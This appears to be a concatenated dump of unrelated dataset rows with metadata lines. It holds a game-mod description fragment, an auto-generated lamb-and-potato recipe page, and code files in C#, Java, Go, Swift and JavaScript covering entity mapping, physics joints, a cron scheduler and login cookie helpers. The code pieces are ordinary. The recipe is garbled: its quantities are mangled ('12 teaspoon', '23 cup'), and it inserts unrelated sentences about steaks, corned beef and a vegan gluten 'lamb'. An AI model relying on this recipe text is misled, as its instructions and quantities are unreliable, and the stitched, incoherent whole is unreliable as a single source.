or she uses the subjugation cb especially if he or she is disliked by the pope. A random horde will have a reduced change of spawning during the time frames of the major mongol horde events (aztecs excluded) Hopefully the spawn rate and number of troops spawned strikes a good balance to give the hordes the ability to expand without it happening too often and without them easily taking out other empires of the time. ## Configuration There is a configuration option to restrict hordes in the intrigue menu. This will reduce the troop counts of hordes and scale better to the characters current army size. This option will work well with shattered balance mods where army sizes will start smaller making this more balanced than the standard spawn rates. ##Mod Compatability High Compatability. This mod is just events and a new casus belli so should hopefully be compatible with most mods. Works with ck2 version 2.4.5 "Provided for fun by The Strategy Master" ## Change Log v1.4 - Further fix to nomad spawning - Characters now given adventurer and ambitious traits to entice the AI to expand - Fixed issue with CB accessible to all nomad characters - Fixed prestige issues with the CB - Characters can be spawned nicknames v1.3 - Fixed spawning with nomadic characters - Hordes no longer spawn for tributaries - Added a new reduced horde troops configuration option (Better balance for shattered balance type maps) - Added new variations of the spawn event dialog for more flavour - Rebalanced army distribution to avoid spawning a large single flank troop - Hordes with coastal provinces now spawn ships - Horde spawn rates are only reduced during the timeframes of the major built in horde events. v1.2 - Rulers over the age of 45 are now 50% less likely to become a horde. - If a subjugation war is won characters have a chance to be granted nicknames. - Rebalanced number of troops spawned based on era Before 867ad 11000 min and 30000 max Before 1066ad 17000 min and 45000 max Before 1241ad 34000 min and 60000 max Before 1337ad 42000 min and 100000 max After 1337ad 50000 min and 130000 max V1.1 - Christian rulers are 50% less likely to be triggered as a horde. - Non Reformed Pagan Rulers and tribal rulers 25% more likely to trigger as the horde.
Markdown
UTF-8
5,970
2.578125
3
[]
no_license
--- description: "Recipe: Favorite Lamb and Vegetables, well mainly Potatoes" title: "Recipe: Favorite Lamb and Vegetables, well mainly Potatoes" slug: 5588-recipe-favorite-lamb-and-vegetables-well-mainly-potatoes date: 2020-03-28T06:46:39.751Z image: https://img-global.cpcdn.com/recipes/650409eeb4673dc4/751x532cq70/lamb-and-vegetables-well-mainly-potatoes-recipe-main-photo.jpg thumbnail: https://img-global.cpcdn.com/recipes/650409eeb4673dc4/751x532cq70/lamb-and-vegetables-well-mainly-potatoes-recipe-main-photo.jpg cover: https://img-global.cpcdn.com/recipes/650409eeb4673dc4/751x532cq70/lamb-and-vegetables-well-mainly-potatoes-recipe-main-photo.jpg author: Louis Fuller ratingvalue: 3.6 reviewcount: 13 recipeingredient: - Lamb mixture - 1 teaspoons granulated garlic powder - 1 large onion - 12 teaspoon ground black pepper - 1 tablespoons dried rosemary - 1 pound ground lamb - 1 pound carrots - 1 cup diced potatoes - Throughout - To taste kosher salt - Layers - 2 tablespoons self rising flour - 2 pounds potatoes - 23 cup grated Parmigiano reggiano cheese divided recipeinstructions: - "Preheat oven to 400 degrees Fahrenheit. Dice the onion. Slice the carrots" - "I used 2 types of potatoes rose golden, and new red potatoes. Slice them thinly. Add to water and boil till just fork tender or tender." - "Dice the potatoes add all the ingredients for the lamb mixture, to a pan with the lamb. Season with a little salt. Add one cup of the water that the potatoes were boiled in to the lamb mixture. Cook till vegetables are tender." - "Add a layer of the boiled sliced potatoes to the bottom of a loaf pan. Then add to sides. Add 1 tablespoon of flour. And 1/2 the cheese. Make sure to salt the potatoes a bit, remembering the cheese will taste a bit salty also." - "Add a good layer of lamb mixture to the top. Add more flour." - "Add another layer till to the top. Just have the rest of the cheese on top. Bake 45 minutes." - "Serve I hope you enjoy!!" categories: - Resep tags: - lamb - and - vegetables katakunci: lamb and vegetables nutrition: 186 calories recipecuisine: Indonesian preptime: "PT24M" cooktime: "PT1H" recipeyield: "1" recipecategory: Lunch --- ![Lamb and Vegetables, well mainly Potatoes](https://img-global.cpcdn.com/recipes/650409eeb4673dc4/751x532cq70/lamb-and-vegetables-well-mainly-potatoes-recipe-main-photo.jpg) Hey everyone, hope you're having an incredible day today. Today, we're going to prepare a special dish, lamb and vegetables, well mainly potatoes. One of my favorites food recipes. This time, I will make it a bit unique. This will be really delicious. Lamb and Vegetables, well mainly Potatoes is one of the most popular of recent trending foods on earth. It is enjoyed by millions daily. It is simple, it's quick, it tastes delicious. Lamb and Vegetables, well mainly Potatoes is something which I've loved my entire life. They are nice and they look wonderful. Great recipe for Lamb and Vegetables, well mainly Potatoes. I bought a new copper loaf pan to give it a go. My old one was so abused. To get started with this particular recipe, we must first prepare a few ingredients. You can have lamb and vegetables, well mainly potatoes using 14 ingredients and 7 steps. Here is how you can achieve it. ##### The ingredients needed to make Lamb and Vegetables, well mainly Potatoes:: 1. Get Lamb mixture 1. Get 1 teaspoons granulated garlic powder 1. Prepare 1 large onion 1. Make ready 1/2 teaspoon ground black pepper 1. Prepare 1 tablespoons dried rosemary 1. Take 1 pound ground lamb 1. Prepare 1 pound carrots 1. Get 1 cup diced potatoes 1. Make ready Throughout 1. Make ready To taste kosher salt 1. Prepare Layers 1. Prepare 2 tablespoons self rising flour 1. Make ready 2 pounds potatoes 1. Make ready 2/3 cup grated Parmigiano reggiano cheese divided Heat half the oil in a roasting tray, then brown the steaks on both sides and set aside. Toss the potato, onion, remaining oil and half the rosemary into the roasting tray, then lay the steaks on top. My grandma&#39;s recipe, an easy and tasty way mid-week meal made with corned beef, potatoes and onions - simple and packed with flavour. I bought a new copper loaf pan to give it a go. ##### Steps to make Lamb and Vegetables, well mainly Potatoes: 1. Preheat oven to 400 degrees Fahrenheit. Dice the onion. Slice the carrots 1. I used 2 types of potatoes rose golden, and new red potatoes. Slice them thinly. Add to water and boil till just fork tender or tender. 1. Dice the potatoes add all the ingredients for the lamb mixture, to a pan with the lamb. Season with a little salt. Add one cup of the water that the potatoes were boiled in to the lamb mixture. Cook till vegetables are tender. 1. Add a layer of the boiled sliced potatoes to the bottom of a loaf pan. Then add to sides. Add 1 tablespoon of flour. And 1/2 the cheese. Make sure to salt the potatoes a bit, remembering the cheese will taste a bit salty also. 1. Add a good layer of lamb mixture to the top. Add more flour. 1. Add another layer till to the top. Just have the rest of the cheese on top. Bake 45 minutes. 1. Serve I hope you enjoy!! My old one was so abused. This new pan was a bit smaller but the nonstick was phenomenal. The potatoes used to stick to the sides on my old one, not so on this one. This recipe has a good balance on flavors. Preparing the &#34;Lamb&#34; To begin, add all the dry ingredients vital wheat gluten flour, nutritional yeast, fresh mint, garlic and onion powder, sea salt and ground pepper and beet powder, in to a large mixing bowl. So that's going to wrap this up with this exceptional food lamb and vegetables, well mainly potatoes recipe. Thank you very much for reading. I'm confident you can make this at home. There's gonna be more interesting food at home recipes coming up. Remember to save this page on your browser, and share it to your loved ones, friends and colleague. Thanks again for reading. Go on get cooking!
C#
UTF-8
1,545
2.609375
3
[]
no_license
using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.ModelConfiguration; namespace RulesMVC.Models.Mapping { public class RuleMap : EntityTypeConfiguration<Rule> { public RuleMap() { // Primary Key this.HasKey(t => t.ID); // Properties this.Property(t => t.ShortCode) .IsRequired() .HasMaxLength(50); this.Property(t => t.Keyword) .IsRequired() .HasMaxLength(50); // Table & Column Mappings this.ToTable("Rule"); this.Property(t => t.ID).HasColumnName("ID"); this.Property(t => t.ShortCode).HasColumnName("ShortCode"); this.Property(t => t.Keyword).HasColumnName("Keyword"); this.Property(t => t.SMSGatewayID).HasColumnName("SMSGatewayID"); this.Property(t => t.PriceID).HasColumnName("PriceID"); this.Property(t => t.ApplicationID).HasColumnName("ApplicationID"); // Relationships this.HasOptional(t => t.Application) .WithMany(t => t.Rules) .HasForeignKey(d => d.ApplicationID); this.HasOptional(t => t.Price) .WithMany(t => t.Rules) .HasForeignKey(d => d.PriceID); this.HasRequired(t => t.SMSGateway) .WithMany(t => t.Rules) .HasForeignKey(d => d.SMSGatewayID); } } }
Java
UTF-8
1,305
2.140625
2
[]
no_license
package com.bandou.music.sample; import android.app.Application; import android.content.Context; import com.bandou.music.MusicPlayer; import com.bandou.music.event.MediaEnableEvent; import org.greenrobot.eventbus.EventBus; import org.greenrobot.eventbus.Subscribe; import org.greenrobot.eventbus.ThreadMode; /** * @ClassName: ApplicationContext * @Description: say something * @author: chenwei * @version: V1.0 * @Date: 16/7/27 下午5:32 */ public class ApplicationContext extends Application { public static Context mContext; private DefaultMusicNotification musicNotification; @Override public void onCreate() { super.onCreate(); mContext = this; configMusicController(); EventBus.getDefault().register(this); } @Subscribe(threadMode = ThreadMode.MAIN) public void onMediaEnableEvent(MediaEnableEvent event) { if (event.enabled) { if (musicNotification == null) { musicNotification = new DefaultMusicNotification(mContext, R.mipmap.ic_launcher); } musicNotification.showNotification(MusicPlayer.getInstance().getProvider().get()); } else{ musicNotification.hideNotification(); } } public void configMusicController() { } }
Java
UTF-8
12,190
3.0625
3
[]
no_license
package game.physics; import game.geometry.*; /** * HingedJoint provides a hinged, i.e. moveable, joint between two bodies. * to the connected body. Hinged joints may be created that anchor bodies * by their mid-points or a specified pair of shapes. * <P> * Note: The physics engine within this code repository draws upon the * work of two individuals. See the CollisionSpace class header for * additional information. * <P> * @version $Revision: 1.0 $ $Date: 2007/08 $ */ public class HingedJoint extends Joint { /////////////////////////////////////////////////////////////////////////// // Class data // /////////////////////////////////////////////////////////////////////////// /** * Relaxation value of this joint. The relaxation value determines * how much slack is permitted within the joint. */ protected final double BASE_RELAXATION = 1.0; private double relaxation; /** * Bias factor used to correct the position of the joint */ protected double BIAS_CORRECTION_FACTOR = 0.05; /** * Anchor point for the joint */ protected double anchorx; protected double anchory; /** * Anchor point for the joint from the frame of the first body */ protected double localAnchor1x, localAnchor1y; protected double anchor1x, anchor1y; /** * Anchor point for the joint from the frame of the second body */ protected double localAnchor2x, localAnchor2y; protected double anchor2x, anchor2y; /** The rotation of the anchor relative to both bodies, alongside * a matrix describing the rotation between the bodies */ private double r1x, r1y; private double r2x, r2y; private double Mc1x, Mc1y, Mc2x, Mc2y; /** * Joint bias */ private double biasx, biasy; /** * The impulse to be applied throught the joint */ private double accumulatedImpulsex, accumulatedImpulsey; /////////////////////////////////////////////////////////////////////////// // Constructors // /////////////////////////////////////////////////////////////////////////// /** * Create a hinged joint holding two bodies together at the specified * anchor point * * @param collisionSpace CollisionSpace running the physics simulation * @param body1 first Body to be connected by the joint * @param body2 second Body to be connected by the joint * @param anchorx double x anchor location * @param anchory double y anchor location */ public HingedJoint(CollisionSpace collisionSpace, Body body1, Body body2, double anchorx, double anchory) { super(collisionSpace, body1, body2); set(anchorx, anchory); } /** * Create a hinged joint holding two shapes together at the specified * anchor point * * @param collisionSpace CollisionSpace running the physics simulation * @param shape1 first Shape to be connected by the joint * @param shape2 second Shape to be connected by the joint * @param anchorx double x anchor location * @param anchory double y anchor location */ public HingedJoint(CollisionSpace collisionSpace, Shape shape1, Shape shape2, double anchorx, double anchory) { super(collisionSpace, shape1, shape2); set(anchorx, anchory); } /////////////////////////////////////////////////////////////////////////// // Methods: // /////////////////////////////////////////////////////////////////////////// /** * Set the relaxation value of this joint. The relaxation value determines * how much slack is permitted within the joint, i.e. a low relaxation value * will ensure that the joint remains highly rigid. * * @param relaxation double relaxation value to assume */ public void setRelaxation(double relaxation) { this.relaxation = relaxation; } /** * Return the relaxation value of this joint. * * @return relaxation double relaxation value */ public double getRelaxation() { return relaxation; } /** * Return the current x anchor point * * @return double x anchor point */ public double getAnchorX() { return anchorx; } /** * Return the current y anchor point * * @return double y anchor point */ public double getAnchorY() { return anchory; } /** * Set the joint anchor point to that specified * * @param anchorx double x anchor point * @param anchory double y anchor point */ protected void set(double anchorx, double anchory) { this.anchorx = anchorx; this.anchory = anchory; Body body1, body2; // Determine the local anchor points for each body if (this.connector == Connector.BODY) { body1 = this.body1; body2 = this.body2; anchor1x = body1.x; anchor1y = body1.y; anchor2x = body2.x; anchor2y = body2.y; } else { body1 = this.shape1.body; body2 = this.shape2.body; double c = Math.cos( body1.rotation ), s = Math.sin( body1.rotation ); double rc1x = c, rc1y = s, rc2x = -s, rc2y = c; anchor1x = body1.x + rc1x * shape1.offsetX + rc2x * shape1.offsetY; anchor1y = body1.y + rc1y * shape1.offsetX + rc2y * shape1.offsetY; c = Math.cos( body2.rotation ); s = Math.sin( body2.rotation ); rc1x = c; rc1y = s; rc2x = -s; rc2y = c; anchor2x = body2.x + rc1x * shape2.offsetX + rc2x * shape2.offsetY; anchor2y = body2.y + rc1y * shape2.offsetX + rc2y * shape2.offsetY; } // Calculation rotational transform matrices for each body double c = Math.cos(body1.rotation), s = Math.sin(body1.rotation); double rot1Tc1x = c, rot1Tc1y = -s, rot1Tc2x = s, rot1Tc2y = c; c = Math.cos(body2.rotation); s = Math.sin(body2.rotation); double rot2Tc1x = c; double rot2Tc1y = -s; double rot2Tc2x = s; double rot2Tc2y = c; // Determine the local anchor points for each body double ax = anchorx - anchor1x, ay = anchory - anchor1y; localAnchor1x = rot1Tc1x * ax + rot1Tc2x * ay; localAnchor1y = rot1Tc1y * ax + rot1Tc2y * ay; ax = anchorx - anchor2x; ay = anchory - anchor2y; localAnchor2x = rot2Tc1x * ax + rot2Tc2x * ay; localAnchor2y = rot2Tc1y * ax + rot2Tc2y * ay; // Reset accumulators and joint relaxation accumulatedImpulsex = 0.0; accumulatedImpulsey = 0.0; relaxation = BASE_RELAXATION; } /** * Perform common joint setup calculations that will be used within * all joint impulse iterations. * * @param invDT inverse time period for the physics simulation step */ protected void preStep(double invDT) { Body body1 = this.connector == Connector.BODY ? this.body1 : this.shape1.body; Body body2 = this.connector == Connector.BODY ? this.body2 : this.shape2.body; // Determine rotational matrices for each body double c = Math.cos(body1.rotation), s = Math.sin(body1.rotation); double rot1c1x = c, rot1c1y = s, rot1c2x = -s, rot1c2y = c; c = Math.cos(body2.rotation); s = Math.sin(body2.rotation); double rot2c1x = c, rot2c1y = s, rot2c2x = -s, rot2c2y = c; // Determine anchor points for each body for this preStep/set of updates if (this.connector == Connector.BODY) { anchor1x = body1.x; anchor1y = body1.y; anchor2x = body2.x; anchor2y = body2.y; } else { anchor1x = body1.x + rot1c1x * shape1.offsetX + rot1c2x * shape1.offsetY; anchor1y = body1.y + rot1c1y * shape1.offsetX + rot1c2y * shape1.offsetY; anchor2x = body2.x + rot2c1x * shape2.offsetX + rot2c2x * shape2.offsetY; anchor2y = body2.y + rot2c1y * shape2.offsetX + rot2c2y * shape2.offsetY; } // Pre-compute anchors, mass matrix, and bias. r1x = rot1c1x * localAnchor1x + rot1c2x * localAnchor1y; r1y = rot1c1y * localAnchor1x + rot1c2y * localAnchor1y; r2x = rot2c1x * localAnchor2x + rot2c2x * localAnchor2y; r2y = rot2c1y * localAnchor2x + rot2c2y * localAnchor2y; double Kc1x = body1.invMass + body2.invMass + body1.invI * r1y * r1y + body2.invI * r2y * r2y; double Kc1y = -body1.invI * r1x * r1y + -body2.invI * r2x * r2y; double Kc2x = -body1.invI * r1x * r1y + -body2.invI * r2x * r2y; double Kc2y = body1.invMass + body2.invMass + body1.invI * r1x * r1x + body2.invI * r2x * r2x; double Kdet = 1.0 / (Kc1x * Kc2y - Kc2x * Kc1y); Mc1x = Kdet * Kc2y; Mc1y = -Kdet * Kc1y; Mc2x = -Kdet * Kc2x; Mc2y = Kdet * Kc1x; biasx = (anchor2x + r2x) - (anchor1x + r1x); biasy = (anchor2y + r2y) - (anchor1y + r1y); biasx *= (-BIAS_CORRECTION_FACTOR * invDT); biasy *= (-BIAS_CORRECTION_FACTOR * invDT); // Apply accumulated impulse. accumulatedImpulsex *= relaxation; accumulatedImpulsey *= relaxation; body1.velocityx += (accumulatedImpulsex * -body1.invMass); body1.velocityy += (accumulatedImpulsey * -body1.invMass); body1.angularVelocity += -(body1.invI * (r1x * accumulatedImpulsey - r1y * accumulatedImpulsex)); body2.velocityx += (accumulatedImpulsex * body2.invMass); body2.velocityy += (accumulatedImpulsey * body2.invMass); body2.angularVelocity += body2.invI * (r2x * accumulatedImpulsey - r2y * accumulatedImpulsex); } /** * Apply any impulses through the joint to the connected bodies */ protected void applyImpulse() { Body body1 = this.connector == Connector.BODY ? this.body1 : this.shape1.body; Body body2 = this.connector == Connector.BODY ? this.body2 : this.shape2.body; double dvx = body2.velocityx + (-body2.angularVelocity * r2y); double dvy = body2.velocityy + (body2.angularVelocity * r2x); dvx -= (body1.velocityx + (-body1.angularVelocity * r1y)); dvy -= (body1.velocityy + (body1.angularVelocity * r1x)); dvx *= -1.0; dvy *= -1.0; dvx += biasx; dvy += biasy; if ((dvx * dvx + dvy * dvy) == 0) { return; } // Calculate and apply impulse along the joint double impulsex = Mc1x * dvx + Mc2x * dvy, impulsey = Mc1y * dvx + Mc2y * dvy; double delta1x = impulsex * -body1.invMass, delta1y = impulsey * -body1.invMass; body1.velocityx += delta1x; body1.velocityy += delta1y; body1.angularVelocity += (-body1.invI * (r1x * impulsey - r1y * impulsex)); double delta2x = impulsex * body2.invMass, delta2y = impulsey * body2.invMass; body2.velocityx += delta2x; body2.velocityy += delta2y; body2.angularVelocity += (body2.invI * (r2x * impulsey - r2y * impulsex)); accumulatedImpulsex += impulsex; accumulatedImpulsey += impulsey; // Check to determine if the applied impulse should break the joint if (impulsex * impulsex + impulsey * impulsey > breakingImpulse * breakingImpulse) { jointBroken = true; } } /** * Return a unique hashcode for this joint * * @return unique hashcode for this joint */ @Override public int hashCode() { return uniqueJointID; } /** * Determine if the specified object is equivalent to this joint * * @param other Object to compare * @return boolean true if the other object is equivalent to this joint, * otherwise false */ @Override public boolean equals(Object other) { if (other.getClass() == getClass()) { return ((HingedJoint) other).uniqueJointID == uniqueJointID; } return false; } }
Go
UTF-8
5,102
2.75
3
[]
no_license
package main import ( `bitbucket.org/kardianos/service/config` serv `bitbucket.org/kardianos/service/stdservice` `github.com/kardianos/cron` `errors` `fmt` "io/ioutil" `net/http` "os" "os/exec" "sync" ) type UnknownDoErr struct { Do string } func (err *UnknownDoErr) Error() string { return `unknown "Do": ` + err.Do } var sch = cron.New() var conf *config.WatchConfig type ConfigLine struct { At string Do string Args []string runError func(cl *ConfigLine, err error) isErrorJob bool sync.Mutex running bool } type AppConfig struct { UTC bool Tasks []*ConfigLine } func (cl *ConfigLine) Verify() error { // Verify arguments. switch cl.Do { case "ping": if len(cl.Args) != 2 { return errors.New(`"ping" command must have two arguments: Url, and expected result.`) } case "exec": if len(cl.Args) == 0 { return errors.New(`"exec" command must have at least one Args: CMD [ARGS].`) } default: return &UnknownDoErr{Do: cl.Do} } return nil } func (cl *ConfigLine) Running() bool { cl.Lock() rtest := cl.running cl.Unlock() return rtest } var alreadyRunningError = errors.New("Task already running.") func (cl *ConfigLine) Run() { if cl.Running() { cl.runError(cl, alreadyRunningError) return } cl.Lock() cl.running = true cl.Unlock() defer func() { cl.Lock() cl.running = false cl.Unlock() }() switch cl.Do { case "ping": res, err := http.Get(cl.Args[0]) if err != nil { cl.runError(cl, err) return } defer res.Body.Close() responseBytes, err := ioutil.ReadAll(res.Body) if err != nil { cl.runError(cl, err) return } responseString := string(responseBytes) if responseString != cl.Args[1] { cl.runError(cl, fmt.Errorf(`Expected "%s", got: "%s".`, cl.Args[1], responseString)) return } case "exec": cmd := exec.Command(cl.Args[0], cl.Args[1:]...) output, err := cmd.CombinedOutput() if err != nil { cl.runError(cl, fmt.Errorf("Failed to run command result. Error: %s, output: %s", err, output)) return } default: panic("unreachable") } } func (cl *ConfigLine) String() string { return fmt.Sprintf("%s @ %s <%v>", cl.Do, cl.At, cl.Args) } var SampleConfig = &AppConfig{ UTC: false, Tasks: []*ConfigLine{ &ConfigLine{ At: "@error", Do: "ping", Args: []string{ "http://hitthisurl.com/error", "OK", }, }, &ConfigLine{ At: "0 5 * * * *", Do: "ping", Args: []string{ "http://hitthisurl.com/here", "OK", }, }, &ConfigLine{ At: "@every 1h30m", Do: "ping", Args: []string{ "http://hitthisurl.com/here", "OK", }, }, }, } func main() { var schConfig = &AppConfig{} sch = cron.New() ser := &serv.Config{ Name: `Scheduler`, DisplayName: `Scheduler`, LongDescription: `Task Scheduler`, Start: func(c *serv.Config) { log := c.Logger() errorJobs := []cron.Job{} onRunError := func(cl *ConfigLine, err error) { log.Warning("The job \"%s\" failed to run:\n%v", cl.String(), err) if cl.isErrorJob { return } for _, ej := range errorJobs { ej.Run() } } sch.Start() go conf.TriggerC() work: for { select { case <-conf.C: err := conf.Load(&schConfig) if err != nil { log.Warning("Failed to load config: %v", err) continue work } // Verify config before stopping. for _, sc := range schConfig.Tasks { err = sc.Verify() if sc.At != "@error" { _, err := cron.Parse(sc.At) if err != nil { log.Warning("Bad schedule <%s>: %v", sc.At, err) continue work } } if err != nil { log.Warning("Bad task configuration: %v", err) continue work } sc.runError = onRunError } sch.Stop() sch = cron.New() sch.UTC = true errorJobs = []cron.Job{} for _, sc := range schConfig.Tasks { if sc.At == "@error" { sc.isErrorJob = true errorJobs = append(errorJobs, sc) } else { err = sch.AddJob(sc.At, sc) if err != nil { // This should not happen as the At is parsed above. log.Error("Error from adding the job: %s", sc.String()) os.Exit(1) } } } sch.Start() log.Info("v1.1: Configuration loaded.") } } }, Stop: func(c *serv.Config) { sch.Stop() }, Init: func(c *serv.Config) error { log := c.Logger() var err error configFilePath, err := config.GetConfigFilePath("", "") if err != nil { log.Error("Could not get config file path: %v", err) return err } conf, err = config.NewWatchConfig(configFilePath, config.DecodeJsonConfig, SampleConfig, config.EncodeJsonConfig) if err != nil { log.Error("Could not open config file path: %v", err) return err } return nil }, } ser.Run() }
Swift
UTF-8
1,770
2.9375
3
[ "MIT" ]
permissive
// // NNFW_UILabel.swift // // Created by Saharat Sittipanya on 12/11/2563 BE. // import UIKit extension UILabel { public func setColorFor(_ text: String, _ color: UIColor, _ font: UIFont?) { let attributedString: NSMutableAttributedString = NSMutableAttributedString(string: self.text!) let range: NSRange = attributedString.mutableString.range(of: text, options: .caseInsensitive) attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) if let tempFont = font { attributedString.addAttribute(NSAttributedString.Key.font, value: tempFont, range: range) } self.attributedText = attributedString } } @IBDesignable public class NNCustomLabel: UILabel { @IBInspectable public var isUnderline: Bool = false { didSet { self.updateUI() } } @IBInspectable public var isStrikethrough: Bool = false { didSet { self.updateUI() } } func updateUI() { // MARK: TEXT STYLE let textRange = NSMakeRange(0, self.text!.unicodeScalars.count) let attributedText = NSMutableAttributedString(string: text!) if isUnderline { attributedText.addAttribute(NSAttributedString.Key.underlineStyle , value: NSUnderlineStyle.single.rawValue, range: textRange) } if isStrikethrough { attributedText.addAttribute(NSAttributedString.Key.strikethroughStyle , value: NSUnderlineStyle.single.rawValue, range: textRange) } self.attributedText = attributedText } }
Java
UTF-8
2,634
2.03125
2
[]
no_license
package com.temobi.ttalk; import android.os.Handler; import android.os.Message; import android.util.Log; public class NativeSupport { private static final String TAG = "NativeSupport"; //native basic functions public native void native_init(); public native void native_destroy(); public native void audioRecordCallback(byte[] frame); public native String getDevAudioInfo(); public static final int TM_AUDIOTALK_TRANSFER_CONNECT_ERROR=1000; public static final int TM_AUIOTALK_TRANSFER_CONNECT_OK=1001; public static final int TM_AUDIOTALK_TRANSFER_RECONNECT=1002; public static final int TM_AUIOTALK_TRANSFER_TIMEOUT=1006; public static final int TM_AUDIOTALK_TRANSFER_GETDEVAUDIOINFO=1007; private Handler mEventHandler; private int mNativeContext=0; // accessed by native methods private String cur_dir_for_linux="/data/data/com.temobi.ttalk/lib"; private String phoneparam="devid=9999&cameraid=100&server_ip=192.168.3.250&server_port=14444&"; static { String[] so_names = new String[3]; /*so_names[0] = "rmtAMRNBCodec";*/ so_names[0] = "rmAACEnc"; //added it by ihappy for change audio encoder from amr to aac so_names[1] = "audiotalktransfer"; so_names[2] = "ttalk"; sos_load( so_names ); } public void setHandler(Handler hander) { mEventHandler = hander; //native_init(); } public void initTalkVoice(){ native_init(); } public void setCurDirForLinux(String path){ cur_dir_for_linux=path; } /* �ͻ��˵�ID,��������IP,port*/ public void setPhoneParam(String param){ phoneparam=param; } //public void postEventFromNative(int what, int arg1, int arg2) //{ // Log.v(TAG, "postEventFromNative what:"+what+" arg:"+arg1+" "+arg2); // if (mEventHandler != null) { // Message m = mEventHandler.obtainMessage(what, arg1, arg2); // mEventHandler.sendMessage(m); // } //} public void postEventFromNative(int notify_id, int param) { Log.v(TAG, "postEventFromNative notify_id:"+notify_id+" param:"+param); Log.d(TAG, "postEventFromNative mEventHandler is null=?"+String.valueOf(mEventHandler==null)); if (mEventHandler != null) { /*Message m = mEventHandler.obtainMessage(what, arg1, arg2);*/ Message m = mEventHandler.obtainMessage(notify_id, param); mEventHandler.sendMessage(m); } } ////////////////////////////so loads static private void sos_load(String[] so_names) { int i; for(i=0;i<so_names.length;++i) { try { System.loadLibrary(so_names[i]); } catch (UnsatisfiedLinkError ex) { Log.v(TAG,"load library: "+so_names[i]+"failed"); } } } }
Java
UTF-8
695
3.546875
4
[]
no_license
public class Dog { public class Food { private int amount; public Food(int amount) { this.amount = amount; } public int getAmount() { return amount; } public void hello() { System.out.println("HelloInner"); } public void callHello() { Dog.this.hello(); hello(); System.out.println(); } } private String name; private int amount; public Dog(String name) { this.name = name; amount = 0; } public int eat(int value) { Food f = new Food(value); amount = f.getAmount(); return amount; } public void hello() { System.out.println("HelloOuter"); } public void callHello() { Dog.this.hello(); hello(); System.out.println(); } }
Java
UTF-8
80
1.609375
2
[]
no_license
package oop; public interface BmwCarInt { public void navigation(); }
Java
UTF-8
507
2.65625
3
[]
no_license
package com.example.day07; public class Advanced extends Player { @Override public void run() { // TODO Auto-generated method stub System.out.println("빨리 달립니다."); } @Override public void jump() { // TODO Auto-generated method stub System.out.println("높이 jump합니다."); System.out.println("높이 jump합니다."); } @Override public void turn() { // TODO Auto-generated method stub System.out.println("turn 할 줄 모릅니다."); } }
Java
UTF-8
491
2.84375
3
[]
no_license
public enum testEnum { playerOne("Shea", "Level 1", 22), monsterOne("Scarebot", "Level 1", 33); private final String name; private final String level; private final int healthPoints; testEnum(String name, String level, int healthPoints){ this.name = name; this.level = level; this.healthPoints = healthPoints; } public String getName(){ return name; } public String getLevel() { return level; } public int getHealthPoints() { return healthPoints; } }
JavaScript
UTF-8
5,734
3.203125
3
[]
no_license
<!-- 正则验证 start--> /** * 判空 * * @param obj * @returns {boolean} */ function isNull(obj) { if (obj == null || obj == undefined || obj.trim() == "") { return true; } return false; } /** * 参数长度验证 * * @param obj * @param length * @returns {boolean} */ function validLength(obj, length) { if (obj.trim().length < length) { return true; } return false; } /** * 用户名称验证 4到16位(字母,数字,下划线,减号) * * @param userName * @returns {boolean} */ function validUserName(userName) { var pattern = /^[a-zA-Z0-9_-]{4,16}$/; if (pattern.test(userName.trim())) { return (true); } else { return (false); } } /** * 用户密码验证 最少6位,最多20位字母或数字的组合 * * @param password * @returns {boolean} */ function validPassword(password) { var pattern = /^[a-zA-Z0-9]{6,20}$/; if (pattern.test(password.trim())) { return (true); } else { return (false); } } /** * 网址验证 * * @param urlStr * @returns {boolean} */ function checkUrl(urlStr) { var strRegex = "^((https|http|ftp|rtsp|mms)?://)" + "?(([0-9a-z_!~*'().&=+$%-]+: )?[0-9a-z_!~*'().&=+$%-]+@)?" //ftp的user@ + "(([0-9]{1,3}\.){3}[0-9]{1,3}" // IP形式的URL- 199.194.52.184 + "|" // 允许IP和DOMAIN(域名) + "([0-9a-z_!~*'()-]+\.)*" // 域名- www. + "([0-9a-z][0-9a-z-]{0,61})?[0-9a-z]\." // 二级域名 + "[a-z]{2,6})" // first level domain- .com or .museum + "(:[0-9]{1,4})?" // 端口- :80 + "((/?)|" // a slash isn't required if there is no file name + "(/[0-9a-z_!~*'().;?:@&=+$,%#-]+)+/?)$"; var re = new RegExp(strRegex); if (re.test(urlStr)) { return (true); } else { return (false); } } <!-- 正则验证 end--> /** * 获取jqGrid选中的一条记录 * @returns {*} */ function getSelectedRow() { var grid = $("#jqGrid"); var rowKey = grid.getGridParam("selrow"); if (!rowKey) { swal("请选择一条记录"); return; } var selectedIDs = grid.getGridParam("selarrrow"); if (selectedIDs.length > 1) { swal("只能选择一条记录"); return; } return selectedIDs[0]; } /** * 获取jqGrid选中的多条记录 * @returns {*} */ function getSelectedRows() { var grid = $("#jqGrid"); var rowKey = grid.getGridParam("selrow"); if (!rowKey) { swal("请选择一条记录"); return; } return grid.getGridParam("selarrrow"); } function login() { var userName = $("#userName").val(); var password = $("#password").val(); if (isNull(userName)) { showErrorInfo("请输入用户名!"); return; } if (!validUserName(userName)) { showErrorInfo("请输入正确的用户名!"); return; } if (isNull(password)) { showErrorInfo("请输入密码!"); return; } if (!validPassword(password)) { showErrorInfo("请输入正确的密码!"); return; } var data = {"userName": userName, "password": password} $.ajax({ type: "POST",//方法类型 dataType: "json",//预期服务器返回的数据类型 url: "users/cookie", contentType: "application/json; charset=utf-8", data: JSON.stringify(data), success: function (result) { if (result.code == 200) { $('.alert-danger').css("display", "none"); setCookie("user", result.currentUser.userName); window.location.href = "/"; } ; if (result.code == 500) { $('.alert-danger').css("display", "none"); swal("登录失败"); } }, error: function () { $('.alert-danger').css("display", "none"); swal("接口异常,请联系管理员!"); } }); } function logout() { swal({ title: "确认弹框", text: "你将退出登录!", icon: "warning", buttons: true, dangerMode: true, }) .then((flag) => { if (flag) { delCookie("user"); swal("你已退出此次登录", { icon: "success", }); window.location.href = "login.jsp"; } }); } /** * 修改密码 */ function editPassword() { swal("温馨提示", "暂时还没做哦!"); } <!-- cookie操作 start--> /** * 写入cookie * * @param name * @param value */ function setCookie(name, value) { var Days = 30; var exp = new Date(); exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000); document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString() + ";path=/"; } /** * 读取cookie * @param name * @returns {null} */ function getCookie(name) { var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null; } /** * 删除cookie 